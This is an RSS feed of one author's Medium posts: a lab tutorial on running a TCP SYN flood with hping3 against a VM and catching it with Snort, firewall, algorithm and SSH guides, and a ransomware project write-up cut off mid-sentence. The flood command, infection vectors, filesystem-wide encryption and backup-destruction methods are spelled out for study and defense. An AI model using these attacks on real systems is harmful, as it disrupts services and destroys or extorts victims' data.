            <content:encoded><![CDATA[<p>A <strong>Denial of Service (DoS)</strong> attack is a type of cyber attack where the attacker attempts to make a network, website, or service unavailable to its intended users.</p><p>One common method of DoS attack is the TCP SYN flood, which exploits a weakness in the TCP connection establishment process to overwhelm the target with connection requests.</p><p>In this article, we will demonstrate how to perform a TCP SYN flood attack using hping3 and how to detect the attack using Snort on a Linux machine.</p><p>Prerequisites</p><ol><li>Apache Web Server: Apache is an open-source web server that will be used as the target for the DoS attack. To install Apache on a Debian-based Linux distribution such as Ubuntu, run the following command:</li></ol><pre>sudo apt-get update<br>sudo apt-get install apache2<br>sudo systemctl start apache2</pre><p>2. hping3: hping3 is a network packet crafting and injection tool that can be used to perform a TCP SYN flood attack. To install hping3 on a Debian-based Linux distribution, run the following command:</p><pre>sudo apt-get update<br>sudo apt-get install hping3</pre><p>3. Wireshark: Wireshark is a network protocol analyzer tool that can be used to capture and examine network traffic. To install Wireshark on a Debian-based Linux distribution, run the following command:</p><pre>sudo apt-get update<br>sudo apt-get install wireshark</pre><p>4. Snort: Snort is an open-source network intrusion detection and prevention system that can be used to detect and prevent DoS attacks. To install Snort on a Debian-based Linux distribution, follow the instructions on this website</p><p><a href="https://linuxopsys.com/topics/install-snort-on-ubuntu">How to Install Snort on Ubuntu 20.04</a></p><p>Once all of the prerequisites are installed and set up, you will be ready to proceed with the demonstration of the TCP SYN flood attack and detection using Snort.</p><h3>Configuring Bridged Adapter settings for the VM’s</h3><p>In order to perform a TCP SYN flood attack on a virtual machine (VM) running Apache web server, we will need to set up two VM’s: one as the attacker and one as the victim. In order to allow the attacker VM to communicate with the victim VM, we will need to configure a bridged adapter for both VM’s.</p><p>Bridging allows a VM to connect to a physical network as if it were a physical device on the network. This allows the VM to communicate with other devices on the network, including the victim VM.</p><p>To configure a bridged adapter for a VM on VirtualBox, follow these steps:</p><ol><li>Open the VirtualBox Manager and select the VM that you want to configure.</li><li>Click on the “Settings” button.</li><li>In the “Network” section, select “Bridged Adapter” from the “Attached to” dropdown menu.</li><li>Click on the “Advanced” button and select the network adapter that you want to use for bridging.</li><li>Click “OK” to save the changes.</li></ol><p>Incase of any confusion, please refer to the following video:<br><a href="https://www.youtube.com/watch?v=zeFgKOVL5gc">https://www.youtube.com/watch?v=zeFgKOVL5gc</a></p><p>You will need to repeat these steps for both the attacker and victim VM’s.</p><p>To find the IP addresses of the VM’s, you can use the following command:</p><p>To find the IP addresses of the VM’s, you can use the following command:</p><p>ifconfig</p><p>This will display the network interfaces and their associated IP addresses. Look for the interface that is associated with the bridged adapter (e.g. “eth0”) and note its IP address.</p><p>To access the website from the attacker VM, you can use a web browser to visit the IP address of the victim VM. For example, if the victim VM’s IP address is 192.168.56.106, you can access the website by visiting “http://192.168.56.106/&quot; in the web browser.</p><h3>DOS Attack using hping3</h3><p>This will take place on the attacker VM.</p><p>hping3 is a network packet crafting and injection tool that can be used to perform various types of network attacks, including the TCP SYN flood attack.</p><p>It works by sending a large number of TCP SYN packets to the target IP address, attempting to establish a connection. The target system responds with a SYN-ACK packet, but the attacker never completes the connection by sending an ACK packet.</p><p>This leaves the target system with a large number of half-open connections, which can consume resources and eventually cause the system to become unresponsive or crash.</p><p>The command that used will be</p><p>sudo hping3 192.168.56.106 -p 80 -S --flood --rand-source, which tells hping3 to send a flood of TCP SYN packets to the IP address 192.168.56.106.</p><p>-p 80 indicates the packets should be sent via port 80</p><p>-S flag tells hping3 to send SYN packets</p><p>--flood flag tells it to send a flood of packets.</p><p>--rand-source flag tells hping3 to use random source IP addresses for the packets.</p><p>To monitor the TCP SYN flood attack, the attacker can launch Wireshark and select the network interface that the packets are going through(e.g. “eth0”).</p><p>Wireshark will display a live capture of the network traffic, including the TCP SYN packets being sent by the attacker. The screenshot below will show a large number of SYN packets being sent to the victim system, but no ACK packets being received in response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*PWCG9psIbao4Ui4JCkfZcQ.png" /></figure><p>If the website is still accessible after the attack, the reader can try launching another hping3 instance and observe the effect. It may be necessary to launch multiple hping3 instances in order to completely overwhelm the victim system and make the website completely inaccessible. Alternatively, a smaller number of hping3 instances may be used to slow down access to the website.</p><p>When you are finished with the attack, be sure to close all hping3 instances and restart the VM’s if they become overloaded or frozen.</p><p><strong>Intrusion Detection Systems (IDS) — Snort</strong></p><p>This will now take place on the victim VM.</p><p>An Intrusion Detection System (IDS) is a security tool that monitors network traffic for signs of malicious activity or policy violations. When an IDS detects a suspicious activity, it generates an alert or notification. IDS’s can be configured to take a range of actions in response to an alert, such as blocking the malicious traffic, raising an alarm, or logging the event for further analysis.</p><p>Snort is an open-source IDS that can be used to detect and prevent a range of network attacks, including the TCP SYN flood attack. Snort works by analyzing network traffic and comparing it to a set of rules that define what constitutes malicious or suspicious activity. When Snort detects a match with one of its rules, it generates an alert and takes the configured action.</p><p>To configure Snort to detect a TCP SYN flood attack, we need to edit the file /etc/snort/snort.debian.conf to change the default output format and add a custom rule.</p><p>To change the default output format, open the file with <strong>root </strong>privileges and edit the line starting with DEBIAN_SNORT_OPTIONS as follows:</p><p>DEBIAN_SNORT_OPTIONS=&quot;-A full&quot;</p><p>This tells Snort to use the “<em>full</em>” alert format, which includes detailed information about the alert.</p><p>To add a custom rule for TCP SYN flood detection, open the file /etc/snort/rules/dos.rules with <strong>root </strong>privileges and add the following rules as new lines at the end:</p><p>alert tcp any any -&gt; $HOME_NET 80 (flags: S; msg:”Possible TCP SYN flood”;</p><p>detection_filter: track by_dst, count 50, seconds 10; sid:1000001;)</p><p>This rule tells Snort to generate an alert when it sees <em>50 SYN packets</em> from the same source IP address to port <em>80 </em>on the home network within a <em>10-second window</em>.</p><p>The “<em>sid</em>” field <em>(</em>sid:1000001<em>)</em> is a unique identifier for the rule, which can be used to track and reference the alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*6Uowzb22L9LqRzgGlQsqeA.png" /></figure><p>After adding the custom rule, execute the following command to restart Snort:</p><p>/etc/init.d/snort restart</p><p>This will apply the changes and activate the custom rule.</p><p>To test the Snort configuration, run the attack described in the previous section using a single hping3 instance. Then, monitor the log file using the following command:</p><p>tail -f /var/log/snort/alert</p><p>This will display the alerts generated by Snort in real-time. If the attack is detected, you should see an alert with the sid 1000001, indicating that the TCP SYN flood rule has been triggered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*Z2HL-l7RMcjjCihdgcIsPA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90ae68667822" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting up Firewalls in Linux]]></title>
            <link>https://ianpeter.medium.com/setting-up-firewalls-in-linux-1896383fa1d1?source=rss-3ecde5547cc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/1896383fa1d1</guid>
            <category><![CDATA[ubuntu-ufw]]></category>
            <category><![CDATA[firewall]]></category>
            <category><![CDATA[ufw]]></category>
            <category><![CDATA[port-forwarding]]></category>
            <category><![CDATA[iptables]]></category>
            <dc:creator><![CDATA[Ian Peter]]></dc:creator>
            <pubDate>Sun, 25 Dec 2022 07:16:25 GMT</pubDate>
            <atom:updated>2022-12-25T07:16:25.205Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p><strong>Firewalls </strong>are security systems that monitor and control incoming and outgoing network traffic based on predetermined security rules.</p><p>There are several types of firewalls, including software firewalls, hardware firewalls, host-based firewalls, and network-based firewalls.</p><p><strong>Software firewalls</strong> are programs that run on a computer and control access to the network. They can be installed on a single device or on a network of devices.</p><p><strong>Hardware firewalls</strong> are physical devices that are installed between the network and the internet. They are used to protect entire networks from external threats.</p><p><strong>Host-based firewalls</strong> are installed on individual devices and protect them from external threats. They can be configured to allow or block specific types of traffic.</p><p><strong>Network-based firewalls</strong> are installed on a network and control access to the network. They can be configured to allow or block specific types of traffic based on the source and destination of the traffic.</p><p>A regular PC or server with multiple network adapters can also be configured as a firewall by using certain software, such as iptables. Iptables is a powerful tool that allows users to configure rules for incoming and outgoing traffic.</p><h3>Definition of terms</h3><p>A <strong>subnet </strong>is a group of connected devices on a network that share the same network address.</p><p><strong>Port forwarding</strong> is the process of forwarding incoming traffic to a specific device on a network based on the port number of the traffic.</p><p><strong>Uncomplicated Firewall (UFW)</strong>, is a user-friendly frontend for the iptables firewall. It allows users to easily configure iptables rules without having to use complex commands.</p><h3>Prequisites</h3><ol><li>Experience working with VirtualBox on a basic level</li><li>The Ubuntu VM should have Apache which can be done with the following commands</li></ol><pre>sudo apt update<br>sudo apt install apache2<br>sudo systemctl start apache2</pre><p>3. The Ubuntu VM should have the ssh service enabled and running which can be done with the following commands:</p><pre>sudo apt update<br>sudo apt-get install openssh-server<br>sudo systemctl start ssh</pre><h3>Configuration of port forwarding in the VM</h3><p>To configure port forwarding in a VirtualBox virtual machine (VM) using an Ubuntu VM, follow these steps:<br>Open VirtualBox and select the Ubuntu VM.</p><ol><li>Go to the “<em>Settings</em>” for the VM and navigate to the “<em>Network</em>” tab.</li><li>In the “<em>Network</em>” tab, select “<em>NAT</em>” as the “<em>Attached to</em>” option and click the “<em>Port Forwarding</em>” button.</li><li>In the “<em>Port Forwarding</em>” window, click the “<em>Add</em>” button to add a new port forwarding rule.</li><li>In the “<em>Host Port</em>” field, enter the port number on the host machine (e.g. 2222 for SSH or 8080 for HTTP). In the “<em>Guest Port</em>” field, enter the port number on the guest (VM) machine (e.g. 22 for SSH or 80 for HTTP).</li><li>Repeat this process for any additional port forwarding rules you want to set up.</li><li>Close the “Port Forwarding” window and click “Ok” to save the changes.</li></ol><p>Incase of any confusion, you can also refer to this video</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FKq_JOGX0MW4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DKq_JOGX0MW4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FKq_JOGX0MW4%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e69198fd230efc1cafb9847eac02e9c8/href">https://medium.com/media/e69198fd230efc1cafb9847eac02e9c8/href</a></iframe><p>If you’re only setting up using the two rules, your final window should be similar to this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*BqdJUCLoQMsQWWUAweH9Aw.png" /></figure><p>To connect to the VM using Putty from the host computer, enter “<em>localhost</em>” as the hostname and the host port number (e.g. 2222) as the port number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*fvQ1U-GZR6Ol7q5cnrJzJw.png" /></figure><p>Fill in your username and password once the window pops up and your output should be similar to this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*4hk11tg9mXg3YuyTsbfG8g.png" /></figure><p>To access the VM using a web browser on the host computer, enter “localhost:8080” in the address bar. This will access the VM’s HTTP service on port 80, which is forwarded to port 8080 on the host machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*wBDMVWtRcF2S6Xmpdp2oaA.png" /></figure><h3><strong>UFW — Uncomplicated Firewall</strong></h3><p>UFW, or Uncomplicated Firewall, is a user-friendly frontend for the iptables firewall. It allows users to easily configure iptables rules without having to use complex commands.</p><p>Execute the following commands:</p><p>sudo ufw enable, this is necessary to enable the UFW firewall. This will start the firewall and apply the rules that have been configured.</p><p>sudo ufw status verbose, this is used to check the status of the UFW firewall and view the configured rules. This is useful for verifying that the firewall is running and that the rules are set up correctly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*B1j_FJVoHkHf8Y0w-CAMZw.png" /></figure><p>sudo ufw deny ssh, is used to block incoming SSH connections to the machine. This is a security measure that can help protect the machine from unauthorized access. <br>In this case, it will be used in conjuction with the port forwarding rules to test for SSH connectivity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*FkKZJLkkZxOui4ftv0bPkw.png" /></figure><p>After executing this command, if the user attempts to connect to the VM using Putty, the connection will be denied because the firewall is blocking incoming SSH connections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*FvA_xHYOBdXfYGCwuk6LDA.png" /></figure><p>If the user attempts to access the site via the web browser using a private/incognito window and localhost:8080, the site will still be accessible because the firewall rule only affects incoming SSH connections, not HTTP connections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*wBDMVWtRcF2S6Xmpdp2oaA.png" /></figure><p>Next we will illustrate how to use UFW to block all outgoing traffic to a website for example <a href="http://www.cnn.com/">www.cnn.com</a></p><p>First, attempt to access the site using the Ubuntu VM in a web browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*OTe9MLxANvbi0G9FEBWibw.png" /></figure><p>To use UFW to block outgoing traffic to a website, such as <a href="http://www.cnn.com/">www.cnn.com</a>, follow these steps:</p><ol><li>Find the IP address of the website. This can be done using the host command, for example: host -t a www.cnn.com. This will return a list of IP addresses for the website. The ping command can also be used where it would be ping <a href="http://www.cnn.com/">www.cnn.com</a> but this would only return the main IP address</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*t9RHZ7HFMXZbft9skTeRuQ.png" /></figure><p>2. For each IP address that you want to block traffic to, use the sudo ufw deny out from any to ip-address command, where ip-address is the IP address you want to block. For example, to block traffic to all of the IP addresses for <a href="http://www.cnn.com/">www.cnn.com</a> using our output, you would run the following commands:</p><pre>sudo ufw deny out from any to 151.101.67.5<br>sudo ufw deny out from any to 151.101.131.5<br>sudo ufw deny out from any to 151.101.195.5<br>sudo ufw deny out from any to 151.101.3.5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*EAkbbhx3EPcoOHZ-8s7LeQ.png" /></figure><p>It is important to block traffic to each IP address individually because some websites may have multiple IP addresses that they use. Blocking traffic to only one of the IP addresses may not completely block access to the website.</p><p>Once you have run these commands, try accessing <a href="http://www.cnn.com/">www.cnn.com</a> on the Ubuntu VM. You will not be able to access the website because the firewall is blocking all outgoing traffic to the IP addresses for the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*qPEZ0msxRdsb3uxT0P6onw.png" /></figure><p>Checking the status of the UFW firewall at the moment, you will see several rules added in. Use sudo ufw status verbose</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*rXR-z4bJa-pBPFrREMeQ2Q.png" /></figure><p>Blocking outgoing traffic to specific websites can be a useful security measure to prevent sensitive data from being transmitted to potentially malicious websites. It is not always necessary to block all traffic to a website, but it may be necessary in certain situations where the website is known to be potentially harmful or if there is a specific reason to prevent access to the website.</p><p>Finally reset your UFW rules and disable UFW using the following commands.</p><pre>sudo ufw reset<br>sudo ufw disable</pre><h3>Conclusion</h3><p>Firewalls are an important security measure for protecting networks and devices from external threats. There are several types of firewalls, including software firewalls, hardware firewalls, host-based firewalls, and network-based firewalls. UFW, or Uncomplicated Firewall, is a user-friendly tool that allows users to easily configure iptables rules on a Linux machine. Port forwarding and UFW can be used to secure a VirtualBox virtual machine and protect it from external threats. It is important to carefully configure and manage firewalls to ensure the security of networks and devices.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1896383fa1d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Longest Increasing Subsequence Problem]]></title>
            <link>https://ianpeter.medium.com/longest-increasing-subsequence-problem-5b5fad8b51b9?source=rss-3ecde5547cc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b5fad8b51b9</guid>
            <category><![CDATA[algorithms]]></category>
            <category><![CDATA[dynamic-programming]]></category>
            <category><![CDATA[bottom-up-approach]]></category>
            <dc:creator><![CDATA[Ian Peter]]></dc:creator>
            <pubDate>Sat, 24 Dec 2022 17:27:01 GMT</pubDate>
            <atom:updated>2022-12-24T17:45:46.043Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Welcome to this article on the Longest Increasing Subsequence (LIS) problem.</p><p>The LIS problem consists of finding the longest subsequence in a given sequence such that all elements of the subsequence are sorted in increasing order.</p><p>In this article, we will discuss the concept of subproblem formulation and how to combine them, the recurrence relation and memoization technique, the code for a bottom-up dynamic programming solution in topological order, the problem graph for the LIS problem, and the time complexity of the solution.</p><h3><strong>Subproblem formulation and how to combine them</strong></h3><p>The variables for the subproblems in the longest increasing subsequence (LIS) problem are 2 which are:</p><ol><li><strong>The index of the element in the list</strong></li><li><strong>The value of the element at that index</strong>.</li></ol><p>These variables are used to determine the length of the LIS at a given index in the list.</p><p>The DP[i][j] array would represent the LIS length at index i in the list, where j is the value of the element at that index.</p><p>For example, consider the list [10, 9, 2, 5, 3, 7, 101, 18].</p><p>In a DP solution to the LIS problem, the DP[i][j] array would represent the LIS length at each index i in the list, where j is the value of the element at that index.</p><p>For the first element (index 0, value 10), DP[0][10] would be 1, since there is only one element in the list.</p><p>For the second element (index 1, value 9), DP[1][9] would also be 1, since there are no elements in the list that are less than 9 and come after it.</p><p>In general, the i dimension in DP[i][j] represents the index of the element in the list, and the j dimension represents the value of the element at that index.</p><p>These dimensions are used to determine the LIS length at a given index in the list.</p><p>The <em>LIS_at_index </em>function uses recursive calls to calculate the LIS length at a given index in the list.</p><p>The <em>LIS_at_index</em> function is called recursively in a loop, where the loop iterates over the previous elements in the list. For each previous element, the <em>LIS_at_index</em> function is called to calculate the LIS length at that index. This value is then used to update the LIS length at the current index, if necessary.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/cd79801f404db57c1c130fd890b91c03/href">https://medium.com/media/cd79801f404db57c1c130fd890b91c03/href</a></iframe><h3><strong>The recurrence relation and Memoization concept</strong></h3><p>The recurrence relation for the LIS problem can then be defined as:</p><pre>DP[i][j]=1 ,i=0<br>DP[i][j]=max⁡(DP[i][j],DP[k][j]+1  ,    j&gt;k,for all k&lt;i</pre><p>In this recurrence relation, the LIS length at index i is initially set to 1, since there is at least one element in the list.</p><p>The LIS length at index i is then updated to be the maximum of the previously calculated LIS lengths at indices less than i plus 1, if the value of the element at index i is greater than the value of the element at those previous indices.</p><p>This recurrence relation can be used to calculate the LIS length at each index in the list, which can then be used to determine the overall solution to the LIS problem.</p><p>In the case of the LIS problem, the <em>memo </em>dictionary is used to store the LIS lengths at each index in the list. When the <em>LIS_at_index</em> function is called on a given index, it first checks the <em>memo </em>dictionary to see if the LIS length at that index has already been calculated.</p><p>If it has, the stored value is used instead of recalculating it. This can help to improve the performance of the algorithm by avoiding repeated calculations.</p><p>In summary, the <em>memo </em>dictionary in the solution to the LIS problem is used to implement memoization.</p><h3><strong>Code for the Bottom-up DP formulation in topological order</strong></h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b3eaa0f58a30485ff360c79839114543/href">https://medium.com/media/b3eaa0f58a30485ff360c79839114543/href</a></iframe><h3><strong>Problem graph for the LIS problem</strong></h3><p>The problem graph for the longest increasing subsequence (LIS) problem can be represented as a directed acyclic graph (DAG), which is constructed as follows:<br> 1. Each element is added as a node</p><p>2. For each element node, add outgoing edges with a weight of 1 to all the greater elements after it</p><p>3. Add node B that has outgoing edge of with a weight 0 to all element nodes.</p><p>4. Add node E that has incoming edges with a weight 0 from all the element nodes.</p><p>So for the example array of [1,5,4,8], we have:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*gakJGf0whoKAnj1uo8exYQ.png" /></figure><p>The Longest Increasing Subsequence solution is now the longest path from B to E.</p><p><strong>Time complexity for the solution</strong></p><p>The <em>LIS_at_index </em>function, which is used to calculate the LIS length at a given index in the list, has a time complexity of O(n), since it loops over the previous elements in the list and calls itself recursively on each of them. Since this function is called on each element in the list, the overall time complexity of the algorithm is O(n²), since O(n) * O(n) = O(n²)<em>.</em></p><p>The <em>memo </em>dictionary, which is used to store the previously calculated LIS lengths, does not affect the time complexity of the algorithm, since it is only used to look up previously calculated values and does not involve any additional calculations.</p><p>In summary, the solution to the LIS problem provided earlier has a time complexity of O(n²), where <em>n</em> is the length of the list.</p><p>This means that the algorithm’s performance will scale quadratically with the size of the input, which means that it may not be efficient for very large inputs.</p><p>Conclusion:</p><p>In this article, we have learned about the Longest Increasing Subsequence (LIS) problem and its dynamic programming solutions.</p><p>The LIS problem has various applications in modern solutions, such as data analysis, machine learning, and natural language processing.</p><p>I hope that this article has provided a clear understanding of the LIS problem and its dynamic programming solutions, and that you will be able to apply these concepts to solve similar problems and create innovative solutions in the future.</p><p>Thank you for reading!</p><p>You can refer to this GitHub repository for the codes used:</p><p><a href="https://github.com/ichybell/Longest-Increasing-Subsequence">GitHub - ichybell/Longest-Increasing-Subsequence</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b5fad8b51b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using SSH key for Login]]></title>
            <link>https://ianpeter.medium.com/using-ssh-key-for-login-96de8548cc34?source=rss-3ecde5547cc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/96de8548cc34</guid>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[login]]></category>
            <category><![CDATA[ssh-login]]></category>
            <category><![CDATA[ssh-keys]]></category>
            <dc:creator><![CDATA[Ian Peter]]></dc:creator>
            <pubDate>Sat, 24 Dec 2022 14:25:08 GMT</pubDate>
            <atom:updated>2022-12-24T14:25:08.376Z</atom:updated>
            <content:encoded><![CDATA[<h4>Generating an SSH Key</h4><p>ssh-keygen -t rsa: This command generates a new SSH key pair, consisting of a private key (saved by default to ~/.ssh/id_rsa) and a public key (saved by default to ~/.ssh/id_rsa.pub).</p><p>The -t option specifies the type of key to create, in this case, an <strong>RSA </strong>key. <strong>RSA </strong>is a widely-used algorithm for secure data transmission and is commonly used for SSH authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*jReSKQK5nZGxU5Xoeo45wQ.png" /></figure><h4>Adding the Public Key to the Authorized Keys</h4><p>cp ~/.ssh/id_rsa.pub ~/.ssh/authorized_keys</p><p>This command copies the public key that was generated in the previous step to the authorized_keys file, which is used by the SSH server to authenticate users.</p><p>When a user attempts to log in to the server using an SSH client, the client presents the server with the user&#39;s public key. If the server has the corresponding private key in its authorized_keys file, it allows the user to log in.</p><h4>Starting the SSH Server</h4><p>systemctl start ssh.socket</p><p>This command starts the SSH server, which listens for incoming connections from SSH clients and authenticates them using the public keys stored in the authorized_keys file.</p><p>It&#39;s important to start the SSH server before attempting to log in to the machine using an SSH client, as the server is responsible for accepting and authenticating incoming connections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*wQ3IfK_I7ochQqGOQK-Edw.png" /></figure><h4>Connecting to the Machine Using an SSH Client</h4><p>ssh localhost</p><p>This command connects to the machine that the user is currently logged in to (in this case, localhost, which refers to the current machine) using an SSH client. The client prompts the user for their login credentials and, if the server has the user&#39;s public key in its authorized_keys file, the user is authenticated and granted access to the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*uqm6o2oVvGuubqhVBdt9pA.png" /></figure><p>Thank you for reading!</p><p>Feel free to reach out if you have any further questions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96de8548cc34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ransomware Project]]></title>
            <link>https://ianpeter.medium.com/ransomware-project-195ec1a078eb?source=rss-3ecde5547cc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/195ec1a078eb</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[decryption]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[cryptography-for-dummies]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Ian Peter]]></dc:creator>
            <pubDate>Sat, 24 Dec 2022 14:02:23 GMT</pubDate>
            <atom:updated>2022-12-24T14:06:26.923Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Project Demo</strong></h3><p>The original files are as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Who01nmTUnjxMXRUWPWUpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*-lFs82cbeMrkxaYox02IiQ.png" /></figure><p>We run the ransomware executable and reopen the files to confirm encryption, as can be seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*hIvrX3KxmV1skwI1_vgJrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*NOj4UxZFfPnDUysBQ7q6ug.png" /></figure><p>This illustrates the success of our Ransomware program.</p><h3><strong>Infection</strong></h3><p>Because Email Servers do not support the sending of executables, there are multiple other methods to encrypt the files in the system, including:</p><p><strong>1.</strong> <strong>Enhancing the ransomware to exploit most common unpatched vulnerabilities as well as encryption, hence it becomes self-propagating on the network. If the victim’s computer remains unpatched to the vulnerability, it will be infected.</strong></p><p><strong>2.</strong> <strong>Sending a dropper to the victim system, e.g., by using excel and VBS scripts. Once the file is opened, the dropper downloads ransomware onto the victim’s system.</strong></p><p><strong>3.</strong> <strong>Sending a phishing email redirecting a victim to a website with a legitimate product that has been modified to include the ransomware, e.g., free MS Word installation, which does install Office but installs ransomware as well.</strong></p><p><strong>4.</strong> <strong>If physical access to the victim is possible, social engineering would be used to draw the victim away from the computer, then plug in a flash drive with ransomware and begin to execute it manually.</strong></p><p><strong>5.</strong> <strong>Sending a phishing email to a user redirecting him/her to a website loaded with a script to download the ransomware onto the victim’s computer automatically.</strong></p><h3><strong>Attack</strong></h3><p>The ransomware encrypts files by:</p><p><strong>1.</strong> <strong>Generating a random session key that is 16 bytes long</strong></p><p><strong>2.</strong> <strong>Using a 3072-bit RSA key to encrypt a session key. This complicates decryption even further as the security level offered by 3072-bit RSA is 128 bits, ensuring a brute force attempt at decryption would take an incredibly long time.</strong></p><p><strong>3.</strong> <strong>The session key is used to encrypt the file in EAX mode to ensure that if any modification is done to the file, then decryption will fail completely</strong></p><p><strong>4.</strong> <strong>Finally, the original file is overwritten using the encrypted session key, public key, and the encrypted text</strong></p><p><strong>5.</strong> <strong>For debugging purposes, a message of success is also printed onto the console.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*zCFF2Ft7BDF4prhk2LjPMg.png" /></figure><p>Every file passed to the encrypted program would be encrypted using this function, making the data inaccessible completely.</p><p>The program also ensures that every file in the system is encrypted by using a special scanning function that recursively identifies every file in the system beginning from any top directory provided.<br> In Windows, this would normally be one of the essential drives where the operating system is installed, including <em>C:/, D:/ </em>etc. In Linux, the top directory would be <em>/</em></p><p>The yield statement in the function simply pauses the function execution and returns that specific item. Execution of the function the next time it is called will start from there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*rEjKFLQGZa-H9jEW6wXgTQ.png" /></figure><p>The program, once loaded onto the victim machine, could be run through various methods:</p><p><strong>1.</strong> <strong>The victim could run the ransomware by himself/herself thinking it is a legitimate software</strong></p><p><strong>2.</strong> <strong>The attacker could manually launch the ransomware at the time of choosing, provided they have access to the victim’s computer if uploaded via USB.</strong></p><p><strong>3.</strong> <strong>The attacker could launch the program remotely if they can establish remote access to the computer being affected.</strong></p><p><strong>4.</strong> <strong>The ransomware could be run automatically as a Cron Job or task in Windows Task Scheduler. This would enable the ransomware to run at a time when it would cause the least disturbance in the system</strong></p><p><strong>5.</strong> <strong>If the program is embedded within legitimate software, it would also be launched at the same time as the software is being launched hence beginning the encryption process.</strong></p><p>Backups of files can also be deleted by the following methods:</p><p><strong>1.</strong> <strong>Augmenting the ransomware to search for shadow files and delete them</strong></p><p><strong>2.</strong> <strong>The attacker could hack a backup software API and encrypt existing backups for the company.</strong></p><p><strong>3.</strong> <strong>The ransomware could begin by infecting data without full-on encryption. Still, after some time, it would encrypt all files in both the backup destination and current destination, making recovery challenging. In this situation, the execution of ransomware would be delayed to a much further date. This method also makes determining the point and timeline of infection very difficult for the incident response team.</strong></p><p><strong>4.</strong> <strong>The attacker could manually probe the network for backup shares and directories and encrypt files found here using the ransomware program. This is caused by the fact that multiple corporate networks are designed in a way that enables files to be accessed via shares for ease of access.</strong></p><p><strong>5.</strong> <strong>The ransomware could search for common file extensions used with backup files on the local system, including </strong><strong>.bak among others. These files would then proceed to be deleted or encrypted, or their data corrupted by attackers.</strong></p><p><strong>6.</strong> <strong>In case backups are done using cron jobs or tasks on Windows Task Scheduler, then further enumeration of this data could be done by the attacker. If the files are accessible from the revealed location of these tasks, then they could be corrupted or deleted manually. In case of access is not allowed, further enumeration of the system where backups are stored could be done to establish if an entry point is possible</strong></p><h3><strong>Detection</strong></h3><p>There can be various methods used to detect ransomware on any system, including:</p><p><strong>1.</strong> <strong>Static Analysis</strong></p><p>Here, the application code is analyzed before execution, and if found to have malicious signatures, it will not be executed.</p><p>Signatures are normally compared to malicious code patterns deposited in a central repository by Antivirus Vendors and various security teams.</p><p>This method is also known as <em>Signature based analysis</em>.</p><p>Ransomware can evade this method by stripping any identifiable information or encoding it differently to generate a new signature that has not yet been recorded in the central repository.</p><p><strong>2.</strong> <strong>Dynamic Analysis</strong></p><p>Here, the program is executed in a sandboxed environment to observe how it executes. If it is found to have malicious properties, i.e., calling IP addresses associated with malicious actors or using up multiple system resources, it is flagged. It will not execute in the main operating system</p><p>This method is also known as <em>Behavioral-based analysis</em>.</p><p>Ransomware 